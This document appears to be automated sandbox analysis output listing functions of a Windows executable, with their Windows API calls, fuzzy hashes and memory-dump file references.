Similarity

API ID: EnumValue$CloseInfoQuery
String ID:
API String ID: 224134890-0
Opcode ID: 29a0f6c3d593d55df7efd40262b128ae3154f9df5d338a3d3daf7802a2043be7
Instruction ID: d1589e7f4e104dbeae4e51be8ad30dd3ce0c959e7c6e64edfd4ab92eee86a98a
Opcode Fuzzy Hash: 29a0f6c3d593d55df7efd40262b128ae3154f9df5d338a3d3daf7802a2043be7
Instruction Fuzzy Hash: 1B022EB1E002099BDB00DFA5DC81B9E7BB4EF58315F14443AFA05FB381E779A9508B65

Function 0041971B Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,00000000), ref: 004197E2

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 94b1ca42c4728b200be5071e770b7327bb8090eff50cc991be2844d7df34fbab
Instruction ID: 94010209fccd90839d0bf566ca0c281c9bdbd06ffd789ed2b6fc6a67ed80bb47
Opcode Fuzzy Hash: 94b1ca42c4728b200be5071e770b7327bb8090eff50cc991be2844d7df34fbab
Instruction Fuzzy Hash: 4D51B471900248EFCB11EF68C894AEE7BB4FF82350F1481AAE8159B251D734DEC1CB68

Function 00407F4D Relevance: 6.1, APIs: 4, Instructions: 124serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 00407F86
GetServiceKeyNameA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00407FCB
GetServiceKeyNameA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040803A
CloseServiceHandle.ADVAPI32(00000000), ref: 00408069

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$Name$CloseHandleManagerOpen
String ID:
API String ID: 36220719-0
Opcode ID: 9ed26ac6cd9bd9727814fe6ad14b0161d1a23e56d3c3b67c42c3b57422966c34
Instruction ID: 4cb1a97779f2831253044c2bbc5d21cd203be33026a667baf5af37967917494b
Opcode Fuzzy Hash: 9ed26ac6cd9bd9727814fe6ad14b0161d1a23e56d3c3b67c42c3b57422966c34
Instruction Fuzzy Hash: B6416271E01309ABDB10DF90DD46BAEBBB4AB08305F10043AF904BB281E7795B14DB96

Function 004203DF Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00420557: GetParent.USER32(?), ref: 0042058A
Part of subcall function 00420557: GetLastActivePopup.USER32(?), ref: 00420599
Part of subcall function 00420557: IsWindowEnabled.USER32(?), ref: 004205AE
Part of subcall function 00420557: EnableWindow.USER32(?,00000000), ref: 004205C1

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00420415
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00420483
MessageBoxA.USER32(00000000,?,?,00000000), ref: 00420491
EnableWindow.USER32(00000000,00000001), ref: 004204AD

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 1958756768-0
Opcode ID: 480371232df14b435f2fde02250221ab7e19a2117839b1f1a8a3e92f099d54e7
Instruction ID: a1a7b982075d5d5cadf2f58ec4ef2c20f3de8b0afee00ac6eefb8bfa71a18920
Opcode Fuzzy Hash: 480371232df14b435f2fde02250221ab7e19a2117839b1f1a8a3e92f099d54e7
Instruction Fuzzy Hash: B921B672B00224AFDB20AF95ECC1BEEB7F5EB44705F94846AE714E3241D7799E408B64

Function 0041BF36 Relevance: 6.1, APIs: 4, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalFix.KERNEL32(?), ref: 0041BF56
lstrcmp.KERNEL32(?,?), ref: 0041BF62
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041BF9F
GlobalFix.KERNEL32(00000000), ref: 0041BFAC

Part of subcall function 0041FCB0: GlobalFlags.KERNEL32(?), ref: 0041FCBA
Part of subcall function 0041FCB0: GlobalUnWire.KERNEL32(?), ref: 0041FCD1
Part of subcall function 0041FCB0: GlobalFree.KERNEL32(?), ref: 0041FCDC

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Global$AllocFlagsFreeWirelstrcmp
String ID:
API String ID: 396917142-0
Opcode ID: 7c34097401a39ab8adea4f92382b4f9bea1333e0f550897d117d85afc751652f
Instruction ID: dc7d24110231c9500c0dc1be8cf6300fb40dac3d4c8d4212418e39298e142958
Opcode Fuzzy Hash: 7c34097401a39ab8adea4f92382b4f9bea1333e0f550897d117d85afc751652f
Instruction Fuzzy Hash: 0C115171200104BEDB216B76CD45EEFBABDEF85744F00041EFA09C1111D7799D929BA8

Function 00420F92 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00420FEF
RtlLeaveCriticalSection.NTDLL(?), ref: 00420FFF
LocalFree.KERNEL32(?), ref: 00421008
TlsSetValue.KERNEL32(?,00000000), ref: 0042101E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 36cb98eed1445ed2e4e1ffa50bda84445876fec73b15c25a8fff00a9a0a75707
Instruction ID: f5aac173b5c7b5567a740d8af560d4cc0fab82f7216173c106292e2cbe135265
Opcode Fuzzy Hash: 36cb98eed1445ed2e4e1ffa50bda84445876fec73b15c25a8fff00a9a0a75707
Instruction Fuzzy Hash: 60218631300220EFD7248F44E985F6A77F4FF41716F81806AF9029B6A2C7B9E942CB15

Function 0044ABD7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0044ABF3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0044AC0C

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 39faf5dc3722b545af925c4fafea6833cdce697188d5cb97205524abde2f7184
Instruction ID: 9fe869e11a9144c0897a05c855ebd18b218c2ed752cd219af10158d0a404af40
Opcode Fuzzy Hash: 39faf5dc3722b545af925c4fafea6833cdce697188d5cb97205524abde2f7184
Instruction Fuzzy Hash: 2B0168722493319FF75227755CC99272756DB197B8320432FF110811F2EF288C21E59D

Function 004173F8 Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000050,00000000,00000000), ref: 00417420
RtlAllocateHeap.NTDLL(00000008,000041C4,00000000), ref: 00417454
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0041746E
HeapFree.KERNEL32(00000000,?), ref: 00417485

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$Allocate$AllocFreeVirtual
String ID:
API String ID: 94566200-0
Opcode ID: 9b3e64b745a16a467a7ade3cc64e2c304d28edc93b30cfc941973402b5a3f2a1
Instruction ID: 5c220aacac7209b7cc76fce24d50b55a86d5165a84b4df67cef059df5d31385b
Opcode Fuzzy Hash: 9b3e64b745a16a467a7ade3cc64e2c304d28edc93b30cfc941973402b5a3f2a1
Instruction Fuzzy Hash: B6116DF2201200AFD7708F1AEC48D62BBB2FB887147504B6AF359C61B0C3349882DF09

Function 0041E9FB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 0041EA06
GetTopWindow.USER32(00000000), ref: 0041EA19
GetTopWindow.USER32(?), ref: 0041EA49
GetWindow.USER32(00000000,00000002), ref: 0041EA64

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: f90b674245fce55c7d40d6d96a580f006de5d4a643c91be24c09d036fcf55b8b
Instruction ID: 2e654f3bd3a7cde7ebcd7a5191be4298ab0db26214375e8463f21ded17176c49
Opcode Fuzzy Hash: f90b674245fce55c7d40d6d96a580f006de5d4a643c91be24c09d036fcf55b8b
Instruction Fuzzy Hash: E3014439601529F7CB326F638C00EDF7A69BF457D0B048126FD0491150D739DF9296A9

Function 0041EA74 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 0041EA82
SendMessageA.USER32(00000000,?,?,?), ref: 0041EAB8
GetTopWindow.USER32(00000000), ref: 0041EAC5
GetWindow.USER32(00000000,00000002), ref: 0041EAE3

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: 2b9f20816eb98193c5743d71fee9f58e074099149da1577e5790c0486a60e429
Instruction ID: 49f97eff179ee957a0638886b1534572e8c905b92a1eeda0b095af153b8f95d6
Opcode Fuzzy Hash: 2b9f20816eb98193c5743d71fee9f58e074099149da1577e5790c0486a60e429
Instruction Fuzzy Hash: F101003620011EBBCF129F929D05EDF3B26BF44391F048016FE1051160C73ADAA2EBA9

Function 0041C8AB Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 0041C8D3
GetFocus.USER32 ref: 0041C8E6
GetParent.USER32(?), ref: 0041C8F4
GetNextDlgTabItem.USER32(?,?,00000000), ref: 0041C910

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: 377538d75ce4a9d976869d7a2f96987d4deb7250835798c0f9f6cef3e6739bfd
Instruction ID: 9fbebba5efb572f620e3386fbe3bb10833ee18377e2d263cc34e423a6c35cad3
Opcode Fuzzy Hash: 377538d75ce4a9d976869d7a2f96987d4deb7250835798c0f9f6cef3e6739bfd
Instruction Fuzzy Hash: 5C1152712506009BCB389F20DC99BAAB7B5FF40715F104A1EF186865A0CB78E992CB58

Function 004205FF Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 0042062B
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00420634
wsprintfA.USER32 ref: 00420650
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00420669

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: 8822d542e1cbb073d66c16d4f783eadfc4609fccbdb33ef7d4cc18e739e3b749
Instruction ID: 75116c5cb81acdb4e5c32ead8fa3afcd46c651782c8fecd5b5cbe025a2cd3a47
Opcode Fuzzy Hash: 8822d542e1cbb073d66c16d4f783eadfc4609fccbdb33ef7d4cc18e739e3b749
Instruction Fuzzy Hash: B201D632600225BFCB215FA4EC05FEF3BB8BF44715F444426FA15A6065D778D525CBA8

Function 0041F04A Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 0041F088
SetBkColor.GDI32(00000000,00000000), ref: 0041F094
GetSysColor.USER32(00000008), ref: 0041F0A4
SetTextColor.GDI32(00000000,?), ref: 0041F0AE

Part of subcall function 0041FB80: GetWindowLongA.USER32(00000000,000000F0), ref: 0041FB91

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: 45779ebbd9907dc55ca23ce385b4a0e43a303ae3f0042b366b59b8bedaeeffa3
Instruction ID: 475384feb97d0f2bb6689395902888df02508bfb75837968a8e90a4fea4f28f0
Opcode Fuzzy Hash: 45779ebbd9907dc55ca23ce385b4a0e43a303ae3f0042b366b59b8bedaeeffa3
Instruction Fuzzy Hash: 17012C36210105ABDB219F64DC49AEB3E64AB08351F504532F906C52F2C779C9DAC66A

Function 00421A47 Relevance: 6.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(0047D348), ref: 00421A82
RtlInitializeCriticalSection.NTDLL(00000000), ref: 00421A94
RtlLeaveCriticalSection.NTDLL(0047D348), ref: 00421A9D
RtlEnterCriticalSection.NTDLL(00000000), ref: 00421AAF

Part of subcall function 004219B4: GetVersion.KERNEL32(?,00421A57,?,0042113A,00000010,?,00000000,?,?,?,004214D8,00421525,00420A85,004214DE,0041BFE8,0041FB02), ref: 004219C7

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID:
API String ID: 1193629340-0
Opcode ID: 0413fc644e496f8bd0453173638b21508a511dbfffd5ee0a3e0aed6cff354f94
Instruction ID: 165deeec17d3bcdd26e2e8ae4fde9befa976546a70376f09eac21c1920cf770b
Opcode Fuzzy Hash: 0413fc644e496f8bd0453173638b21508a511dbfffd5ee0a3e0aed6cff354f94
Instruction Fuzzy Hash: EBF03C71A1121ADFC720DF94FC84962B37DFF21316B804437EA4993131D739B699CAA9

Function 0041FC3F Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0041FC4C
GetWindowTextA.USER32(?,?,00000100), ref: 0041FC68
lstrcmp.KERNEL32(?,?), ref: 0041FC7C
SetWindowTextA.USER32(?,?), ref: 0041FC8C

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 4289a4500619d967a65c1081bade3967fd5f3c434539b3bfed90f3b9bf56c63d
Instruction ID: b2569859555d0f25fd7431414960701dc7c4e561c94612ba37a8a62256afe493
Opcode Fuzzy Hash: 4289a4500619d967a65c1081bade3967fd5f3c434539b3bfed90f3b9bf56c63d
Instruction Fuzzy Hash: 3AF0D471600118BBDF226F64DC08ADA7B79BB08792F408131FD49D5120EB79DE96AA98

Function 00417F67 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL ref: 00417F74
RtlInitializeCriticalSection.NTDLL ref: 00417F7C
RtlInitializeCriticalSection.NTDLL ref: 00417F84
RtlInitializeCriticalSection.NTDLL ref: 00417F8C

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: f1a2427fe02aad3e5e345f01dc3c2e580f43e50e0a50918dee99d57bbcfb456b
Instruction ID: 20a158b110f1b2825daacac03bd2b7ee09d219b7c81915359d786067f75c628e
Opcode Fuzzy Hash: f1a2427fe02aad3e5e345f01dc3c2e580f43e50e0a50918dee99d57bbcfb456b
Instruction Fuzzy Hash: 9AC002319010389BCEB52B55FE058453F76EB152A23150176E504514309EA25C21FFDA

Function 00414076 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00417F90: RtlInitializeCriticalSection.NTDLL(00000000), ref: 00417FCD
Part of subcall function 00417F90: RtlEnterCriticalSection.NTDLL(00000000), ref: 00417FE8

GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,00412942), ref: 004140C7

Part of subcall function 00417FF1: RtlLeaveCriticalSection.NTDLL ref: 00417FFE

Strings

G, xrefs: 00414134
G, xrefs: 004140E4

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: G$G
API String ID: 1866836854-1421312397
Opcode ID: 05ed9a7030efa36f7770b3215ea5d923f7277f385416c70337dccf45582a6581
Instruction ID: f00a744ca1db5292aba2b68dfc8bf2334e0c8384e36b71524317014e46087897
Opcode Fuzzy Hash: 05ed9a7030efa36f7770b3215ea5d923f7277f385416c70337dccf45582a6581
Instruction Fuzzy Hash: 474159319082506EE711CB75DC893EA7BE1AB89348F3441FBF2498B292C77D49C6878D

Function 004142C9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004142DD

Strings

, xrefs: 00414302
, xrefs: 00414326

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Info
